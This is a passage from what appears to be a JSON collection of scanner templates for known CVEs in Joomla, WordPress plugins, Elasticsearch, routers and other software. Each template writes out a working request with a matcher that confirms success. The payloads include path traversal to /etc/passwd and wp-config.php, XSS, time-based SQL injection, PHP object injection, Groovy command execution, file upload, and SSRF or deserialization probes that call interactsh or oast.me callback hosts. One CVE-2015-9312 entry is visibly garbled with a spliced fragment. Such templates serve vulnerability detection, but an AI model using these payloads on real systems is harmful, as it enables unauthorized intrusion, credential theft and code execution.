Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1718","info":{"name":"Joomla! Component Archery Scores 1.0.6 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1345","info":{"name":"Joomla! Component Cookex Agency CKForms - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2050","info":{"name":"Joomla! Component MS Comment 0.8.0b - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2680","info":{"name":"Joomla! Component jesectionfinder - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1494","info":{"name":"Joomla! Component AWDwall 1.5.4 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1340","info":{"name":"Joomla! Component com_jresearch - 'Controller' Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1878","info":{"name":"Joomla! Component OrgChart 1.0.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1314","info":{"name":"Joomla! Component Highslide 1.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0982","info":{"name":"Joomla! Component com_cartweberp - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1952","info":{"name":"Joomla! Component BeeHeard 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1491","info":{"name":"Joomla! Component MMS Blog 2.3.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1469","info":{"name":"Joomla! Component JProject Manager 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-1503","info":{"name":"IceWarp Mail Server <11.1.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd","{{BaseURL}}/webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-7245","info":{"name":"D-Link DVG-N5402SP - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /cgibin/webproc HTTP/1.1\nHost: {{Hostname}}\n\ngetpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/passwd&var%3Amenu=setup&var%3Apage=connected&var%&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh\n"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2015-5469","info":{"name":"WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-3035","info":{"name":"TP-LINK - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/login/../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-5531","info":{"name":"ElasticSearch <1.6.1 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["PUT /_snapshot/test HTTP/1.1\nHost: {{Hostname}}\n\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"/usr/share/elasticsearch/repo/test\"\n }\n}\n","PUT /_snapshot/test2 HTTP/1.1\nHost: {{Hostname}}\n\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"/usr/share/elasticsearch/repo/test/snapshot-backdata\"\n }\n}\n","GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ElasticsearchParseException","Failed to derive xcontent from","114, 111, 111, 116, 58"],"condition":"and"},{"type":"status","status":[400]}]}]},{"id":"CVE-2015-4668","info":{"name":"Xsuite <=2.4.4.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/openwin.php?redirurl=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2015-6544","info":{"name":"Combodo iTop <2.2.0-2459 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-5461","info":{"name":"WordPress StageShow <5.0.9 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/stageshow/stageshow_redirect.php?url=http%3A%2F%2Finteract.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2015-7450","info":{"name":"IBM WebSphere Java Object Deserialization - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml; charset=utf-8\nSOAPAction: \"urn:AdminService\"\n\n\n\n\n\n\n\nrO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==\ngetUnsavedChanges\n{{ generate_java_gadget(\"dns\", \"{{interactsh-url}}\", \"base64-raw\")}}\nrO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=\n\n\n\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["SOAP-ENV:Server",""],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2015-4062","info":{"name":"WordPress NewStatPress 0.9.8 - SQL Injection","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 20s\nGET /wp-admin/admin.php?where1=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&limitquery=1&searchsubmit=Buscar&page=nsp_search HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body_2, \"newstatpress_page_nsp_search\")"],"condition":"and"}]}]},{"id":"CVE-2015-2080","info":{"name":"Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}"],"headers":{"Referer":"\\x00"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Illegal character 0x0 in state"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2015-1427","info":{"name":"ElasticSearch - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /website/blog/ HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en\nContent-Type: application/x-www-form-urlencoded\n\n{\n \"name\": \"test\"\n}\n","POST /_search HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\n{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"cat /etc/passwd\\\").getText()\"}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-4455","info":{"name":"WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET /?gf_page=upload HTTP/1.1\nHost: {{Hostname}}\n","POST /?gf_page=upload HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa\n\n--a54906fe12c504cb01ca836d062f82fa\nContent-Disposition: form-data; name=\"field_id\"\n\n3\n--a54906fe12c504cb01ca836d062f82fa\nContent-Disposition: form-data; name=\"form_id\"\n\n1\n--a54906fe12c504cb01ca836d062f82fa\nContent-Disposition: form-data; name=\"gform_unique_id\"\n\n../../../\n--a54906fe12c504cb01ca836d062f82fa\nContent-Disposition: form-data; name=\"name\"\n\n{{filename}}.phtml\n--a54906fe12c504cb01ca836d062f82fa\nContent-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.jpg\"\nContent-Type: text/html\n\n{{randstr}}\n--a54906fe12c504cb01ca836d062f82fa--\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["contains(body_1, \"Failed to upload file\")","status_code_2 == 200","contains(body_2, \"uploaded_filename\\\":\\\"{{filename}}.jpg\")"],"condition":"and"}]}]},{"id":"CVE-2015-1000010","info":{"name":"WordPress Simple Image Manipulator < 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-2794","info":{"name":"DotNetNuke 07.04.00 - Administration Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Install/InstallWizard.aspx?__VIEWSTATE"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Administrative Information","Database Information"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-4074","info":{"name":"Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-1000005","info":{"name":"WordPress Candidate Application Form <= 1.3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-9312","info":{"name":"NewStatPress <=1.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"alert(document.domain)&searchsubmit=Buscar&page=nsp_search HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, '') && contains(body_2, 'newstatpress')"],"condition":"and"}]}]},{"id":"CVE-2015-2067","info":{"name":"Magento Server MAGMI - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-1000012","info":{"name":"WordPress MyPixs <=0.3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-3337","info":{"name":"Elasticsearch - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-7377","info":{"name":"WordPress Pie-Register <2.0.19 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-6920","info":{"name":"WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["SourceAfrica","Tags:"],"condition":"and","case-insensitive":true}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/sourceafrica/js/window.php?wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-3648","info":{"name":"ResourceSpace - Local File inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-4694","info":{"name":"WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-8813","info":{"name":"Umbraco <7.4.0- Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2015-2068","info":{"name":"Magento Server Mass Importer - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/magmi/web/magmi.php?configstep=2&profile=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-3897","info":{"name":"Bonita BPM Portal <6.5.3 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd","{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"regex","regex":["root:[x*]:0:0:"]}]}]},{"id":"CVE-2015-4414","info":{"name":"WordPress SE HTML5 Album Audio Player 1.1.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-1635","info":{"name":"Microsoft Windows 'HTTP.sys' - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"Range":"bytes=0-18446744073709551615"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HTTP Error 416","The requested range is not satisfiable"],"condition":"and"},{"type":"word","part":"header","words":["Microsoft"]}]}]},{"id":"CVE-2015-9480","info":{"name":"WordPress RobotCPA 5 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-2166","info":{"name":"Ericsson Drutt MSDP - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-8399","info":{"name":"Atlassian Confluence <5.8.17 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["confluence-init.properties","View Default Decorator"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-8562","info":{"name":"Joomla HTTP Header Unauthenticated - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"Joomla\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: 123}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:37:\"phpinfo();JFactory::getConfig();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\ud834\udf06\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-2996","info":{"name":"SysAid Help Desk <15.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd","{{BaseURL}}/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-9323","info":{"name":"404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 15s\nGET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(7))XXX)--+- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"404-to-301\")"],"condition":"and"}]}]},{"id":"CVE-2015-8349","info":{"name":"SourceBans <2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-2196","info":{"name":"WordPress Spider Calendar <=1.4.9 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout 10s\nGET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=1)+AND+(SELECT+1183+FROM+(SELECT(SLEEP(6)))UPad)+AND+(9752=9752&type=json HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code == 200","contains(body, \"{\\\"status\\\":true,\\\"data\\\"\")"],"condition":"and"}]}]},{"id":"CVE-2015-2863","info":{"name":"Kaseya Virtual System Administrator - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/inc/supportLoad.asp?urlToLoad=http://oast.me","{{BaseURL}}/vsaPres/Web20/core/LocalProxy.ashx?url=http://oast.me"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2015-9414","info":{"name":"WordPress Symposium <=15.8.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["WP Symposium","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-0554","info":{"name":"ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wlsecurity.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var wpapskkey","var WscDevPin","var sessionkey"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-1579","info":{"name":"WordPress Slider Revolution - Local File Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php","{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'DB_NAME'","'DB_PASSWORD'","'DB_USER'"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-6477","info":{"name":"Nordex NC2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/login"],"body":"connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27{{randstr}}%27%29%3C%2Fscript%3E&pw=nordex&language=en","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":[""]}]}]},{"id":"CVE-2015-1880","info":{"name":"Fortinet FortiOS <=5.2.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-4127","info":{"name":"WordPress Church Admin <0.810 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/church-admin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Church Admin ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-4632","info":{"name":"Koha 3.20.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-7780","info":{"name":"ManageEngine Firewall Analyzer <8.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw/mindex.do?url=./WEB-INF/web.xml%3f"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.sun.com"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-2755","info":{"name":"WordPress AB Google Map Travel <=3.4 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nPOST /wp-admin/admin.php?page=ab_map_options HTTP/1.1\nHost: 